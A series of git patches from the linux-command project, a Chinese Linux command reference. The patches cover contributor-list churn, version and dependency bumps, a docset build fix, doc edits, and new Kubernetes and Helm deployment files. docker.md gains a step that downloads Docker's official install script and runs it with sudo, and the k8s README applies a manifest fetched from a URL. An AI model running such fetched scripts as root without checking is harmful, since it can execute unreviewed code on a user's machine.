Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 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平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 14ce75c9c8ca717e17628647bdc02679f3c051a3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 3 Sep 2024 05:35:50 +0000 Subject: [PATCH 389/570] doc: update README.md. --- README.md | 46 +++++++++++++++++++++++----------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index e964f2474f5..0d517ea15ec 100644 --- a/README.md +++ b/README.md @@ -266,49 +266,49 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. L 圆头圆脑 clay-wangzhi -Glett 烟草的香味 -Jayin Tang +Glett 丛林意志 -Zijing Zhang +Jayin Tang Fubin Zhang __FresHmaN -dulltackle -ernest +Zijing Zhang 谈笑风生间 +ernest +dulltackle +zyy2477 rgshare loverainye +James Wang +Lnkstls lavaicer SteveLauC -Lnkstls -James Wang -Qliangw Wang Yujia alfred +Qliangw 沙漠之子 -zyy2477 Shell xhal VVatt gggwvg -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero -YEUNGCHIE Dazhuangw Alterem YH -jcdj666 -jqz3.tech -juemuren4449 -kassadin -kid1412621 +YEUNGCHIE +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +FunKeen +BingCoke +Ein Verne leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech +jcdj666 lewis1573 linuxwd Ricardowang From 8555c10fb16118fa10cfaf4f3a483bb2e8b4bda4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 3 Sep 2024 05:35:51 +0000 Subject: [PATCH 390/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 46 +++++++++++++++++++-------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index d6c1e7bb095..2eac794cb6d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -11,49 +11,49 @@ L 圆头圆脑 clay-wangzhi -Glett 烟草的香味 -Jayin Tang +Glett 丛林意志 -Zijing Zhang +Jayin Tang Fubin Zhang __FresHmaN -dulltackle -ernest +Zijing Zhang 谈笑风生间 +ernest +dulltackle +zyy2477 rgshare loverainye +James Wang +Lnkstls lavaicer SteveLauC -Lnkstls -James Wang -Qliangw Wang Yujia alfred +Qliangw 沙漠之子 -zyy2477 Shell xhal VVatt gggwvg -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero -YEUNGCHIE Dazhuangw Alterem YH -jcdj666 -jqz3.tech -juemuren4449 -kassadin -kid1412621 +YEUNGCHIE +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +FunKeen +BingCoke +Ein Verne leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech +jcdj666 lewis1573 linuxwd Ricardowang From 424972567368f0518da79aac5c449afe3e645ffe Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 13:44:41 +0800 Subject: [PATCH 391/570] released v1.19.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index c52d9644e3a..b4051540693 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.18.0", + "version": "1.19.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 16c4a08fdee723e07ad6e9cb751a8198580e6b13 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 15:21:42 +0800 Subject: [PATCH 392/570] fix(docset): resolve error during docset file generation. #601 --- scripts/dash.mjs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/scripts/dash.mjs b/scripts/dash.mjs index fc518caa074..fc62b40f9b5 100644 --- a/scripts/dash.mjs +++ b/scripts/dash.mjs @@ -118,7 +118,9 @@ async function build() { console.info('compressing tgz'); // https://github.com/node-modules/compressing/issues/42 建议最好休眠15s，等待其余资源复制完毕 - spawn("sleep", ['15']) + // 确保所有操作完成后再压缩 + await new Promise(resolve => setTimeout(resolve, 30000)); // 增加到 30 秒 + const outputPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.tgz'); await tgz.compressDir(DOCSET_DIR, outputPath); } From 3c6f616c5ffd74a5a74ef25733da300d9deb6242 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 15:22:47 +0800 Subject: [PATCH 393/570] released v1.19.1 #601 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index b4051540693..bceaab71802 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.19.0", + "version": "1.19.1", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 0f186819584d47074b67d3981a118c76aaddbdf0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 3 Sep 2024 15:24:22 +0800 Subject: [PATCH 394/570] chore(deps-dev): bump sqlite3 from 5.0.8 to 5.1.5 (#528) Bumps [sqlite3](https://github.com/TryGhost/node-sqlite3) from 5.0.8 to 5.1.5. - [Release notes](https://github.com/TryGhost/node-sqlite3/releases) - [Commits](https://github.com/TryGhost/node-sqlite3/compare/v5.0.8...v5.1.5) --- updated-dependencies: - dependency-name: sqlite3 dependency-type: direct:development ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index bceaab71802..4045d316e8b 100644 --- a/package.json +++ b/package.json @@ -33,7 +33,7 @@ "fs-extra": "~10.1.0", "markdown-to-html-cli": "~4.0.0", "sitemap-generator": "~8.5.1", - "sqlite3": "5.0.8", + "sqlite3": "5.1.5", "stylus": "~0.59.0", "uglify-js": "~3.17.0" }, From 7851b27f46d126cb59bb7bfd538e09e293e7edfc Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 3 Sep 2024 15:24:48 +0800 Subject: [PATCH 395/570] chore(deps): update dependency uglify-js to ~3.19.0 (#583) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 4045d316e8b..219e8a72373 100644 --- a/package.json +++ b/package.json @@ -35,7 +35,7 @@ "sitemap-generator": "~8.5.1", "sqlite3": "5.1.5", "stylus": "~0.59.0", - "uglify-js": "~3.17.0" + "uglify-js": "~3.19.0" }, "engines": { "node": ">=16.0.0" From 27374284c18165a06c44a59ad3dbe2663b849dc5 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 3 Sep 2024 15:34:13 +0800 Subject: [PATCH 396/570] chore(deps): update dependency stylus to ~0.63.0 (#522) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 219e8a72373..8bba58fe3ac 100644 --- a/package.json +++ b/package.json @@ -34,7 +34,7 @@ "markdown-to-html-cli": "~4.0.0", "sitemap-generator": "~8.5.1", "sqlite3": "5.1.5", - "stylus": "~0.59.0", + "stylus": "~0.63.0", "uglify-js": "~3.19.0" }, "engines": { From cb46889491b405aef4704741e2a2e84634ffcda4 Mon Sep 17 00:00:00 2001 From: duzhuoshanwai <65448395+duzhuoshanwai@users.noreply.github.com> Date: Thu, 12 Sep 2024 21:36:11 +0800 Subject: [PATCH 397/570] doc: update docker.md (#603) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 添加新的安装方式 --- command/docker.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/command/docker.md b/command/docker.md index 7245dff9fde..5e293866f5e 100644 --- a/command/docker.md +++ b/command/docker.md @@ -37,6 +37,17 @@ sudo systemctl start docker ``` +```bash +# Docker官方提供的快速安装脚本 https://github.com/docker/docker-install +# 不建议在生产环境中使用 +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh ./get-docker.sh --dry-run + +# 使用systemctl设置开机启动 +sudo systemctl enable docker.service +sudo systemctl enable containerd.service +``` + ## 语法 ```shell From 6321537d9ffcf4300075c3ff58d19f7418199dd8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 12 Sep 2024 13:36:43 +0000 Subject: [PATCH 398/570] doc: update README.md. --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 0d517ea15ec..029e2a69740 100644 --- a/README.md +++ b/README.md @@ -266,13 +266,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. L 圆头圆脑 clay-wangzhi -烟草的香味 Glett -丛林意志 +烟草的香味 Jayin Tang +丛林意志 +Zijing Zhang Fubin Zhang __FresHmaN -Zijing Zhang 谈笑风生间 ernest dulltackle @@ -313,7 +313,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. linuxwd Ricardowang cole -myliwenbo +dufu miniwater noodles2hg nsnans From c50c19a78f070c420d6d2bd57333d9ce563df0b5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 12 Sep 2024 13:36:44 +0000 Subject: [PATCH 399/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2eac794cb6d..58eb30f9304 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -11,13 +11,13 @@ L 圆头圆脑 clay-wangzhi -烟草的香味 Glett -丛林意志 +烟草的香味 Jayin Tang +丛林意志 +Zijing Zhang Fubin Zhang __FresHmaN -Zijing Zhang 谈笑风生间 ernest dulltackle @@ -58,7 +58,7 @@ linuxwd Ricardowang cole -myliwenbo +dufu miniwater noodles2hg nsnans From f4645362823b263cca816edd9854539afab83c26 Mon Sep 17 00:00:00 2001 From: will Date: Fri, 20 Sep 2024 13:19:35 +0800 Subject: [PATCH 400/570] chore: Add kubernetes deployment (#605) * add kubernetes deployment * add kubernetes deployment README * update deployment README * update deployment yaml --- deploy/yamls/README.md | 64 +++++++++++++++++++++++++++++++++ deploy/yamls/linux-command.yaml | 50 ++++++++++++++++++++++++++ 2 files changed, 114 insertions(+) create mode 100644 deploy/yamls/README.md create mode 100644 deploy/yamls/linux-command.yaml diff --git a/deploy/yamls/README.md b/deploy/yamls/README.md new file mode 100644 index 00000000000..f7fe3316f70 --- /dev/null +++ b/deploy/yamls/README.md @@ -0,0 +1,64 @@ +# 快速入门指南 + +本指南旨在帮助您在 Kubernetes 中部署基于 `wcjiang/linux-command` 镜像的 `linux-command` 应用。该应用提供了一套 `Deployment`，并通过 `Service` 对外暴露服务端口。 + +## 前提条件 + +- 已安装并配置好的 Kubernetes 集群 +- 安装并配置好的 `kubectl`，并连接至你的 Kubernetes 集群 + +## 安装步骤 + +我们将使用此存储库中的`kubectl`应用 YAML 文件，该文件将安装 `linux-command` 应用。 + +```bash +$ kubectl apply -f https://raw.githubusercontent.com/jaywcjlove/linux-command/master/deploy/yamls/linux-command.yaml +``` + +检查 `Deployment` 状态： + +```bash +$ kubectl get deployments -n linux-command +NAME READY UP-TO-DATE AVAILABLE AGE +linux-command 1/1 1 1 17m +``` + +你可以查看 `Pod` 的状态以确保其正常运行： + +```bash +$ kubectl get pods -n linux-command +NAME READY STATUS RESTARTS AGE +linux-command-fff454654-427zp 1/1 Running 0 12m +``` + +验证 `Service` 是否成功创建并获取暴露的端口： + +``` +$ kubectl get services -n linux-command +NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +linux-command-service NodePort 10.96.2.225 9665:30204/TCP 18m +``` + +## 访问应用 + +通过获取 `NodePort` 的端口来访问应用。以下是获取 `NodePort` 服务信息的命令： + +``` +$ kubectl get svc linux-command-service -n linux-command +``` + +根据输出，使用 `EXTERNAL-IP:PORT` 访问服务。例如： + +``` +http://: +``` + +## 卸载应用 + +如果需要删除已部署的资源，可以按以下顺序操作： + +``` +kubectl delete -f linux-command.yaml +``` + +这将会清理所有创建的 Kubernetes 资源。 diff --git a/deploy/yamls/linux-command.yaml b/deploy/yamls/linux-command.yaml new file mode 100644 index 00000000000..bc7fd6abb44 --- /dev/null +++ b/deploy/yamls/linux-command.yaml @@ -0,0 +1,50 @@ +--- +apiVersion: v1 +kind: Namespace +metadata: + name: linux-command +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: linux-command + namespace: linux-command + labels: + app: linux-command +spec: + replicas: 1 + selector: + matchLabels: + app: linux-command + template: + metadata: + labels: + app: linux-command + spec: + containers: + - name: linux-command-container + image: wcjiang/linux-command:latest + imagePullPolicy: IfNotPresent + ports: + - containerPort: 3000 + resources: + requests: + cpu: "100m" + memory: "50Mi" + limits: + cpu: "100m" + memory: "50Mi" +--- +apiVersion: v1 +kind: Service +metadata: + name: linux-command-service + namespace: linux-command +spec: + selector: + app: linux-command + ports: + - protocol: TCP + port: 9665 + targetPort: 3000 + type: NodePort From 8e072074ca2f4ff33955b77216ee2185d87354d1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 05:20:07 +0000 Subject: [PATCH 401/570] doc: update README.md. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 029e2a69740..957067ae295 100644 --- a/README.md +++ b/README.md @@ -326,12 +326,12 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gedune gang.yang ecjtusbs +duzhuoshanwai dongpohezui Deny dayday cxalc Forever121 -c2ch Yidan Wang Wendy May 远方 @@ -364,6 +364,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. sfwwslm rexlin600 oliver +c2ch MinsonLee Marnm mwei From 3281700170ba24f83467bd89d7fea083b714f20c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 05:20:08 +0000 Subject: [PATCH 402/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 58eb30f9304..ef252c950f0 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -71,12 +71,12 @@ gedune gang.yang ecjtusbs +duzhuoshanwai dongpohezui Deny dayday cxalc Forever121 -c2ch Yidan Wang Wendy May 远方 @@ -109,6 +109,7 @@ sfwwslm rexlin600 oliver +c2ch MinsonLee Marnm mwei From d85be58c782bde0f94b3fb4c8e527d9d1dc6d9b3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 18:53:00 +0800 Subject: [PATCH 403/570] doc: update command/iostat.md --- command/iostat.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/command/iostat.md b/command/iostat.md index 2c41ac779a5..b90088c5248 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -1,7 +1,12 @@ iostat === -iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 +监视系统输入输出设备和CPU的使用情况 + +## 补充说明 + +**iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 + iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。 ## 安装 iostat From 50b5782734189b8ad8990b5b56f97153e196577c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 20 Sep 2024 13:23:05 +0800 Subject: [PATCH 404/570] chore: rename deploy/yamls -> k8s #605 --- {deploy/yamls => k8s}/README.md | 0 {deploy/yamls => k8s}/linux-command.yaml | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename {deploy/yamls => k8s}/README.md (100%) rename {deploy/yamls => k8s}/linux-command.yaml (100%) diff --git a/deploy/yamls/README.md b/k8s/README.md similarity index 100% rename from deploy/yamls/README.md rename to k8s/README.md diff --git a/deploy/yamls/linux-command.yaml b/k8s/linux-command.yaml similarity index 100% rename from deploy/yamls/linux-command.yaml rename to k8s/linux-command.yaml From d82ca52f067ad06579902d3a3a18e44159d6961c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 20 Sep 2024 19:21:04 +0800 Subject: [PATCH 405/570] doc: update k8s/README.md --- k8s/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/k8s/README.md b/k8s/README.md index f7fe3316f70..146392149aa 100644 --- a/k8s/README.md +++ b/k8s/README.md @@ -12,7 +12,7 @@ 我们将使用此存储库中的`kubectl`应用 YAML 文件，该文件将安装 `linux-command` 应用。 ```bash -$ kubectl apply -f https://raw.githubusercontent.com/jaywcjlove/linux-command/master/deploy/yamls/linux-command.yaml +$ kubectl apply -f https://raw.githubusercontent.com/jaywcjlove/linux-command/refs/heads/master/k8s/linux-command.yaml ``` 检查 `Deployment` 状态： From 9870dba05f36cb9656073cf58085376ba8030a42 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:22:02 +0000 Subject: [PATCH 406/570] doc: update README.md. --- README.md | 107 +++++++++++++++++++++++++++--------------------------- 1 file changed, 54 insertions(+), 53 deletions(-) diff --git a/README.md b/README.md index 957067ae295..e2995e3f3b2 100644 --- a/README.md +++ b/README.md @@ -273,42 +273,41 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Zijing Zhang Fubin Zhang __FresHmaN -谈笑风生间 -ernest dulltackle +ernest +谈笑风生间 zyy2477 rgshare loverainye -James Wang -Lnkstls lavaicer SteveLauC +Lnkstls +James Wang +Qliangw Wang Yujia alfred -Qliangw 沙漠之子 Shell xhal VVatt gggwvg +BingCoke +Ein Verne +FunKeen +Pan, Wen-Ming +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE Dazhuangw Alterem YH -YEUNGCHIE -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -Pan, Wen-Ming -FunKeen -BingCoke -Ein Verne -leo -kid1412621 -kassadin -juemuren4449 jqz3.tech -jcdj666 +juemuren4449 +kassadin +kid1412621 +leo lewis1573 linuxwd Ricardowang @@ -317,6 +316,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans +oliver +jcdj666 hululu1068 huangyao hotdogc1017 @@ -331,40 +332,39 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Forever121 -Yidan Wang -Wendy May -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -Loofra -Wei Xu -尘埃 -孤城落寞 -七朔 +Mystic zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc -sfwwslm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +Wendy May +Yidan Wang rexlin600 -oliver -c2ch +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +weibk +will +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 MinsonLee Marnm mwei @@ -395,6 +395,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -423,8 +425,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Q.Ben Zheng -Mystic +Q.Ben Zheng 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From f6a17c0c577ea708d802e963c7c9ab3ae40e5a09 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:22:03 +0000 Subject: [PATCH 407/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 107 +++++++++++++++++++------------------- 1 file changed, 54 insertions(+), 53 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ef252c950f0..80deae78548 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -18,42 +18,41 @@ Zijing Zhang Fubin Zhang __FresHmaN -谈笑风生间 -ernest dulltackle +ernest +谈笑风生间 zyy2477 rgshare loverainye -James Wang -Lnkstls lavaicer SteveLauC +Lnkstls +James Wang +Qliangw Wang Yujia alfred -Qliangw 沙漠之子 Shell xhal VVatt gggwvg +BingCoke +Ein Verne +FunKeen +Pan, Wen-Ming +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE Dazhuangw Alterem YH -YEUNGCHIE -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -Pan, Wen-Ming -FunKeen -BingCoke -Ein Verne -leo -kid1412621 -kassadin -juemuren4449 jqz3.tech -jcdj666 +juemuren4449 +kassadin +kid1412621 +leo lewis1573 linuxwd Ricardowang @@ -62,6 +61,8 @@ miniwater noodles2hg nsnans +oliver +jcdj666 hululu1068 huangyao hotdogc1017 @@ -76,40 +77,39 @@ Deny dayday cxalc -Forever121 -Yidan Wang -Wendy May -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -Loofra -Wei Xu -尘埃 -孤城落寞 -七朔 +Mystic zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc -sfwwslm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +Wendy May +Yidan Wang rexlin600 -oliver -c2ch +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +weibk +will +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 MinsonLee Marnm mwei @@ -140,6 +140,8 @@ Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -168,8 +170,7 @@ Rining Wu Ray Yee QinShower -Q.Ben Zheng -Mystic +Q.Ben Zheng

数据来源于 GitHub Contributors，使用action-contributors创建。 From 686f4452a14fd4fb02cf00dd0838d6b01004a195 Mon Sep 17 00:00:00 2001 From: will Date: Fri, 20 Sep 2024 19:25:45 +0800 Subject: [PATCH 408/570] chore: add helm charts (#606) * add helm charts * update README --- deploy/helm/charts/linux-command/.helmignore | 23 +++++++ deploy/helm/charts/linux-command/Chart.yaml | 21 +++++++ deploy/helm/charts/linux-command/README.md | 44 +++++++++++++ .../linux-command/templates/_helpers.tpl | 62 +++++++++++++++++++ .../linux-command/templates/deployment.yaml | 32 ++++++++++ .../linux-command/templates/service.yaml | 13 ++++ deploy/helm/charts/linux-command/values.yaml | 20 ++++++ 7 files changed, 215 insertions(+) create mode 100644 deploy/helm/charts/linux-command/.helmignore create mode 100644 deploy/helm/charts/linux-command/Chart.yaml create mode 100644 deploy/helm/charts/linux-command/README.md create mode 100644 deploy/helm/charts/linux-command/templates/_helpers.tpl create mode 100644 deploy/helm/charts/linux-command/templates/deployment.yaml create mode 100644 deploy/helm/charts/linux-command/templates/service.yaml create mode 100644 deploy/helm/charts/linux-command/values.yaml diff --git a/deploy/helm/charts/linux-command/.helmignore b/deploy/helm/charts/linux-command/.helmignore new file mode 100644 index 00000000000..0e8a0eb36f4 --- /dev/null +++ b/deploy/helm/charts/linux-command/.helmignore @@ -0,0 +1,23 @@ +# Patterns to ignore when building packages. +# This supports shell glob matching, relative path matching, and +# negation (prefixed with !). Only one pattern per line. +.DS_Store +# Common VCS dirs +.git/ +.gitignore +.bzr/ +.bzrignore +.hg/ +.hgignore +.svn/ +# Common backup files +*.swp +*.bak +*.tmp +*.orig +*~ +# Various IDEs +.project +.idea/ +*.tmproj +.vscode/ diff --git a/deploy/helm/charts/linux-command/Chart.yaml b/deploy/helm/charts/linux-command/Chart.yaml new file mode 100644 index 00000000000..62db357f2ec --- /dev/null +++ b/deploy/helm/charts/linux-command/Chart.yaml @@ -0,0 +1,21 @@ +apiVersion: v2 +name: linux-command +description: A Helm chart for Kubernetes +# A chart can be either an 'application' or a 'library' chart. +# +# Application charts are a collection of templates that can be packaged into versioned archives +# to be deployed. +# +# Library charts provide useful utilities or functions for the chart developer. They're included as +# a dependency of application charts to inject those utilities and functions into the rendering +# pipeline. Library charts do not define any templates and therefore cannot be deployed. +type: application +# This is the chart version. This version number should be incremented each time you make changes +# to the chart and its templates, including the app version. +# Versions are expected to follow Semantic Versioning (https://semver.org/) +version: 0.1.0 +# This is the version number of the application being deployed. This version number should be +# incremented each time you make changes to the application. Versions are not expected to +# follow Semantic Versioning. They should reflect the version the application is using. +# It is recommended to use it with quotes. +appVersion: "0.1.0" diff --git a/deploy/helm/charts/linux-command/README.md b/deploy/helm/charts/linux-command/README.md new file mode 100644 index 00000000000..042c4695a6b --- /dev/null +++ b/deploy/helm/charts/linux-command/README.md @@ -0,0 +1,44 @@ +# linux-command + +linux-command 的 Helm 图表。该图表使用 Helm 软件包管理器在 Kubernetes 集群上引导部署 linux-command。 + +## 安装 Chart + +``` +$ helm install linux-command ./linux-command --namespace linux-command --create-namespace +``` + +## 卸载 Chart + +``` +$ helm -n linux-command uninstall linux-command +``` + +这会删除与图表相关的所有 Kubernetes 组件，并删除发布。 + +## 配置参数 + +下表列出了 linux-command 图表的可配置参数及其默认值。 + +| Key | Type | Default | Description | +| ------------------------------------------------------------ | ------ | ------------------------- | ----------- | +| linuxCommand.linuxCommandContainer.image.repository | string | `"wcjiang/linux-command"` | | +| linuxCommand.linuxCommandContainer.image.tag | string | `"latest"` | | +| linuxCommand.linuxCommandContainer.imagePullPolicy | string | `"IfNotPresent"` | | +| linuxCommand.linuxCommandContainer.resources.limits.cpu | string | `"100m"` | | +| linuxCommand.linuxCommandContainer.resources.limits.memory | string | `"50Mi"` | | +| linuxCommand.linuxCommandContainer.resources.requests.cpu | string | `"100m"` | | +| linuxCommand.linuxCommandContainer.resources.requests.memory | string | `"50Mi"` | | +| linuxCommand.replicas | int | `1` | | +| service.ports[0].port | int | `9665` | | +| service.ports[0].protocol | string | `"TCP"` | | +| service.ports[0].targetPort | int | `3000` | | +| service.type | string | `"NodePort"` | | + +使用`-set key=value[,key=value]`参数为`helm install`指定每个参数。 + +或者，也可以在安装图表时提供指定参数值的 YAML 文件。例如 + +``` +helm install -f values.yaml ./linux-command +``` diff --git a/deploy/helm/charts/linux-command/templates/_helpers.tpl b/deploy/helm/charts/linux-command/templates/_helpers.tpl new file mode 100644 index 00000000000..68cb3b48b25 --- /dev/null 